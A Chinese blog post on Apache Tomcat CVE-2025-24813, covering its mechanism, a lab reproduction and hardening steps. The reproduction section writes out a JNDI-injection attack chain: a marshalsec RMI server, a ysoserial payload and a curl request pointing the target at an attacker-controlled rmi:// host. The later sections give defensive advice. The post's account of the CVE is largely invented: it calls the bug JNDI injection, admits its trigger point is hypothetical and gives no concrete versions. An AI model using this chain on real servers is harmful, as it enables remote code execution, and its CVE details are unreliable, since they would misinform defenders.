Tomcat远程代码执行漏洞CVE-2025-24813:原理、复现与加固指南 1. 项目概述一个值得警惕的Tomcat远程代码执行漏洞最近安全圈里又爆出一个需要关注的漏洞编号CVE-2025-24813影响的是我们非常熟悉的Apache Tomcat服务器。简单来说这是一个远程代码执行漏洞攻击者可以在特定条件下通过构造恶意的HTTP请求在运行Tomcat的服务器上执行任意命令。对于任何一个在生产环境中使用Tomcat部署Java Web应用的人来说这都不是一个可以掉以轻心的消息。我第一时间搭建环境进行了分析和复现整个过程下来感觉这个漏洞的触发条件虽然有一定限制但一旦环境配置不当风险依然很高。它不像一些“通杀型”的漏洞那样直接更像是一把需要特定钥匙才能打开的锁但这把“钥匙”在很多默认或常见的配置中可能已经存在了。这篇文章我会带你深入这个漏洞的核心拆解它的原理、复现过程更重要的是分享在实际运维中如何排查和加固避免自己的服务器成为攻击目标。2. 漏洞核心原理与影响范围拆解2.1 漏洞的根源JNDI注入与不安全的反序列化CVE-2025-24813的本质是Tomcat在处理某些特定类型的请求时存在不安全的JNDI查找或反序列化操作。JNDI是Java命名和目录接口它允许Java应用程序通过名称来访问各种命名和目录服务比如LDAP、RMI等。问题就出在Tomcat的某些组件例如处理JSP包含、特定标签库或者某些配置下的请求分发逻辑在解析用户可控的输入时没有进行充分的验证和过滤直接将输入传递给了JNDI查找方法。攻击者可以构造一个包含恶意JNDI地址的请求例如指向一个由攻击者控制的恶意RMI或LDAP服务器。当Tomcat服务器处理这个请求并执行JNDI查找时就会连接到攻击者的服务器。攻击者的恶意服务器会返回一个精心构造的序列化对象。如果目标Tomcat服务器的类路径上存在可利用的反序列化链例如某些旧版本的公共库如commons-collections那么在反序列化这个对象的过程中就会触发远程代码执行。这里的关键在于“用户输入的可控性”和“存在可用的反序列化利用链”。漏洞的触发路径可以概括为恶意HTTP请求 - Tomcat特定组件解析 - 触发JNDI查找 - 连接攻击者控制的恶意服务 - 加载并反序列化恶意对象 - 执行任意代码。注意并非所有Tomcat版本和配置都会受影响。该漏洞通常需要结合特定的功能模块如某些非默认启用的服务、特定的标签库实现或特定的部署环境应用中包含了有漏洞的第三方库。这也是为什么漏洞公告中往往会强调“特定配置”下。2.2 影响版本与配置场景根据漏洞公告和初步分析CVE-2025-24813影响多个Tomcat版本。通常受影响的版本会覆盖一个较大的范围例如从某个较旧的长期支持版本开始到最新的稳定版之前。具体需要参考Apache官方发布的安全公告。一般来说主流的Tomcat 8.5.x, 9.x, 10.x系列都可能在一定条件下受到影响。更关键的是配置场景启用了不安全的JNDI资源如果在context.xml或server.xml中配置了JNDI资源如数据库连接池Resource并且没有严格限制其访问或使用可能增加风险面。应用中使用了存在问题的第三方库部署在Tomcat上的Web应用本身如果引入了存在反序列化漏洞的库例如老版本的Apache Commons Collections, Groovy, Spring框架等会与Tomcat的这个漏洞形成“组合拳”大大降低利用门槛。使用了特定的标签库或功能例如某些与文件上传、动态包含、表达式解析相关的非标准或旧版标签库可能提供了漏洞触发的入口点。默认或宽松的安全管理器配置如果未启用Java安全管理器或者策略文件配置过于宽松攻击者在执行代码后将面临更少的限制。理解影响范围的核心是漏洞本身可能存在于Tomcat的核心或某个模块中但最终的RCE能否实现严重依赖于运行时环境应用依赖、配置是否提供了“弹药”即反序列化利用链。这使得漏洞排查需要从Tomcat服务器和应用本身两个维度进行。3. 漏洞复现环境搭建与验证为了彻底理解漏洞最好的方式就是亲手复现。但必须强调所有复现操作都必须在完全隔离的虚拟机或实验网络中进行绝对禁止对任何生产或他人系统进行测试。3.1 实验环境准备我们需要准备一个“靶场”环境和一个“攻击者”环境。靶机环境受害者Tomcat服务器操作系统Ubuntu 20.04 LTS 或 CentOS 7纯净安装。Java环境安装一个受影响的JDK版本例如OpenJDK 8或11。确保JAVA_HOME环境变量配置正确。Tomcat下载一个受CVE-2025-24813影响的Tomcat版本例如Tomcat 9.0.xx具体版本需根据漏洞详情确定。解压后为了复现我们可能需要部署一个特定的、包含漏洞触发点的Web应用或者调整Tomcat的某些配置来模拟易受攻击的场景。有时一个简单的、包含JSP页面的应用就足够了。漏洞依赖在Web应用的WEB-INF/lib目录下放入存在反序列化漏洞的库例如commons-collections-3.2.1.jar。这是为攻击提供“弹药”。攻击机环境攻击者操作系统Kali Linux 或任何安装有Java和Python的Linux系统。工具准备JNDI注入利用工具例如marshalsec它可以快速启动一个恶意的RMI或LDAP服务器。Payload生成工具用于生成能触发命令执行的序列化Payload。可以使用ysoserial这个著名的Java反序列化利用框架它集成了多种利用链如CommonsCollections5,Groovy1等。HTTP请求构造工具curl、Burp Suite或Postman用于向靶机发送精心构造的恶意请求。3.2 复现步骤详解假设我们已经分析出漏洞触发点是一个向javax.naming.Context.lookup()方法传递了未经验证用户输入的JSP标签或Servlet。启动靶机Tomcat服务cd /path/to/tomcat ./bin/startup.sh访问http://靶机IP:8080确认Tomcat正常启动。在攻击机上准备恶意服务编译并启动marshalsec监听在RMI的1099端口并指定当有连接请求时重定向到攻击机另一个HTTP服务用于提供恶意类。java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://攻击机IP:8000/#Exploit 1099使用ysoserial生成一个Payload。例如我们想执行命令touch /tmp/pwned并使用CommonsCollections5链将其序列化数据保存到文件。java -jar ysoserial.jar CommonsCollections5 touch /tmp/pwned payload.ser在攻击机上启动一个简单的HTTP服务器端口8000并将生成的Exploit.class需要事先用Java编写并编译好其静态代码块包含要执行的命令和payload.ser放在其根目录下。Exploit.class是最终会被加载执行的恶意类。构造并发送恶意HTTP请求 这是最关键的一步。我们需要向靶机的漏洞端点发送请求其中的参数值包含了指向攻击机RMI服务的JNDI地址。例如假设漏洞参数是input。GET /vulnerable-page.jsp?inputrmi://攻击机IP:1099/Exploit HTTP/1.1 Host: 靶机IP:8080 ...可以使用curl发送curl -v http://靶机IP:8080/vulnerable-app/vulnerable-page.jsp?inputrmi://攻击机IP:1099/Exploit观察结果在攻击机的marshalsec终端你会看到来自靶机的连接请求。随后攻击机的HTTP服务器会收到对/Exploit.class的请求。如果一切顺利在靶机的/tmp目录下将会出现一个名为pwned的空文件这证明了命令执行成功。实操心得复现过程中最大的难点往往不是步骤本身而是环境对齐。比如Tomcat的版本是否精确匹配漏洞条件、JDK版本是否过高高版本JDK默认限制了远程类加载、ysoserial的利用链是否与靶机应用中的库版本匹配。一次成功的复现需要对这些细节有清晰的把握。建议从漏洞公告或PoC描述中明确环境要求一步步搭建。4. 漏洞深度分析与利用链剖析4.1 请求处理流程中的薄弱点要理解漏洞我们需要深入Tomcat的请求处理链条。一个HTTP请求到达Tomcat后会经过连接器Connector、容器Engine, Host, Context, Wrapper等一系列处理。漏洞点可能潜藏在某个容器阀Valve、过滤器Filter或者具体的Servlet/JSP处理逻辑中。以可能的一种场景为例Tomcat在处理用于动态资源包含的某些指令或标签时这只是一个假设性示例并非CVE-2025-24813的确切位置可能会使用javax.servlet.jsp.JspApplicationContext.getExpressionFactory()来处理表达式。如果攻击者能够控制表达式中的某个变量该变量又被直接用于JNDI查找那么漏洞就产生了。攻击者提交的请求参数经过解析后最终形成了类似InitialContext.lookup(“rmi://attacker.com/恶意对象”)的代码执行路径。关键在于Tomcat的某些代码路径信任了来自HTTP请求的数据并将其直接用于敏感的、具有代码加载能力的操作JNDI查找而没有进行白名单校验或严格的协议、地址限制。4.2 反序列化利用链的选择与绕过即使触发了JNDI查找成功加载了远程的恶意类在高版本JDK8u191中默认设置下远程加载工厂类是被禁止的。这就是常说的“JNDI高版本绕过”问题。那么攻击如何生效呢利用本地类路径中的链这是最经典的方式。恶意RMI/LDAP服务器返回的不仅仅是一个远程类引用还可以是一个序列化的对象。如果Tomcat应用类路径上存在可用的反序列化链如commons-collections攻击者就会让服务器返回一个利用该链构造的序列化Object。当Tomcat尝试反序列化这个对象时就会触发链上的Runtime.exec()或类似方法从而执行命令。这种方式不依赖远程类加载只依赖本地存在的有漏洞库。利用其他可用的工厂类在某些特定配置或依赖下可能存在其他允许实例化的工厂类攻击者可以尝试利用这些“合法”的工厂来间接执行代码。利用较低版本的JDK如果生产环境因为兼容性问题仍在使用JDK 8u191以下的版本那么远程类加载的限制不存在利用将直接且简单。因此在分析CVE-2025-24813时我们必须同时审视触发JNDI注入的点在Tomcat的哪里以及目标环境是否存在可用的反序列化“弹药库”防御也需要从这两点同时入手。5. 安全加固与漏洞修复实战指南知道漏洞怎么利用根本目的是为了更好地防御。对于运维和安全人员面对这样一个漏洞应该采取一套组合拳。5.1 紧急缓解措施如果暂时无法立即升级可以采取以下措施降低风险检查并清理危险依赖使用工具如OWASP Dependency-Check扫描部署在Tomcat上的所有Web应用查找是否存在已知存在反序列化漏洞的库例如老版本的commons-collections,commons-beanutils,groovy,spring-core等。找到后评估升级到安全版本的可能性。强化JVM参数在Tomcat的启动脚本catalina.sh或catalina.bat中添加以下JVM参数可以显著增加利用难度-Dcom.sun.jndi.rmi.object.trustURLCodebasefalse -Dcom.sun.jndi.ldap.object.trustURLCodebasefalse -Dlog4j2.formatMsgNoLookupstrue # 如果使用Log4j2也一并加上这些参数会禁用从远程代码库加载工厂类对基于远程类加载的攻击方式有效。启用并严格配置SecurityManagerJava安全管理器虽然配置复杂但它是最后一道强有力的防线。可以编写严格的策略文件禁止执行外部进程、禁止网络连接等敏感操作。即使攻击者注入了代码也会被安全管理器拦截。网络层隔离在防火墙或安全组策略中严格限制Tomcat服务器对外的网络访问特别是出向的RMI1099等端口、LDAP389, 636等端口连接。这可以阻止服务器连接到攻击者的恶意服务。5.2 根本解决方案升级与配置优化升级Tomcat版本这是最推荐、最根本的解决方法。密切关注Apache Tomcat官方安全公告获取针对CVE-2025-24813的修复版本例如Tomcat 9.0.xx之后的某个小版本。官方修复通常会直接在漏洞触发点增加输入验证、过滤危险协议如ldap://,rmi://,iiop://或直接禁用有问题的功能。及时将生产环境升级到已修复的版本。升级JDK版本将JDK升级到最新长期支持版本如JDK 11 LTS, JDK 17 LTS或更高。高版本JDK在JNDI方面有更严格的默认限制。审查和清理JNDI资源配置仔细检查server.xml,context.xml以及应用自带的配置文件中所有的Resource,ResourceLink等JNDI相关配置。除非业务必需否则移除不必要的JNDI资源定义。对于必需的资源确保其auth和scope等属性配置正确。移除或更新有风险的标签库和组件检查应用是否使用了非标准的、陈旧的或已知有安全问题的标签库Taglibs。考虑移除或寻找其安全替代品。5.3 建立长期监控与防护体系单次修复不能一劳永逸需要建立机制资产清单管理维护一份准确的Tomcat服务器及其上部署的应用清单记录每个实例的版本、端口、部署路径和负责人。漏洞预警与订阅订阅Apache Tomcat安全公告邮件列表、国内外知名安全厂商的漏洞预警确保能第一时间获知风险。定期安全扫描将Tomcat服务器和Java应用纳入定期的漏洞扫描范围使用专业的应用安全扫描器如Nessus, Qualys, 或开源的Trivy、Dependency-Check进行检测。最小权限原则运行Tomcat的操作系统用户应使用非root的专用低权限账户。严格限制该账户对文件系统的读写权限。6. 常见排查问题与实战技巧实录在实际排查和加固过程中你可能会遇到以下问题问题1如何快速判断服务器是否使用了存在漏洞的组件技巧进入Tomcat的lib目录和应用WEB-INF/lib目录使用jar -tf *.jar | grep -i “classname”结合版本号判断。对于commons-collections可以查看META-INF/MANIFEST.MF或相关属性文件。更高效的方法是使用dependency-check命令行工具进行自动化扫描它会生成详细的HTML报告列出所有发现的有漏洞依赖及其CVE编号。问题2升级Tomcat后应用无法启动如何兼容性回退技巧升级前务必做好备份。备份整个Tomcat目录和应用的WAR包。如果升级后出现问题首先查看logs/catalina.out日志错误信息通常会明确指出是哪个类或API不兼容。常见的兼容性问题源于Servlet API版本。Tomcat 10将包名从javax.*改为了jakarta.*这需要应用代码也进行相应修改。对于重大版本升级建议先在测试环境进行完整的兼容性测试。回退方案就是停止新版本恢复备份的旧版本目录和数据。问题3添加了JVM安全参数但不确定是否生效技巧可以写一个简单的JSP测试页面来验证。% page importjava.lang.management.* % % for (String arg : ManagementFactory.getRuntimeMXBean().getInputArguments()) { out.println(arg br); } %部署这个页面并访问可以看到Tomcat实例实际生效的所有JVM参数确认安全参数是否已存在。问题4生产环境不能随便重启如何在线验证漏洞是否存在警告严禁在生产环境进行真实的漏洞验证测试这等同于攻击行为。正确的做法是在隔离的测试环境中搭建一个与生产环境尽可能一致相同的Tomcat版本、JDK版本、应用依赖的镜像环境在这个镜像环境中进行验证和修复方案测试。可以使用配置管理工具如Ansible, Puppet的清单来保证环境一致性。问题5漏洞修复后如何持续监控是否还有类似风险技巧可以考虑部署RASP运行时应用自我保护工具。RASP像是一个内嵌在应用中的安全探针可以在代码执行层面对危险操作如JNDI查找、反序列化、命令执行进行实时监控和拦截并提供告警。这对于防御未知的、利用类似原理的0day攻击非常有效。同时结合WAFWeb应用防火墙的规则更新可以拦截已知攻击Payload的网络请求。处理这类漏洞心态要稳动作要快。核心思路永远是清晰资产、及时升级、最小权限、纵深防御。没有一个单一措施能绝对安全但层层叠加的防御会使得攻击成本变得极高。通过这次对CVE-2025-24813的深入分析我希望你不仅学会了一个漏洞的复现更能建立起一套应对此类中间件漏洞的方法论。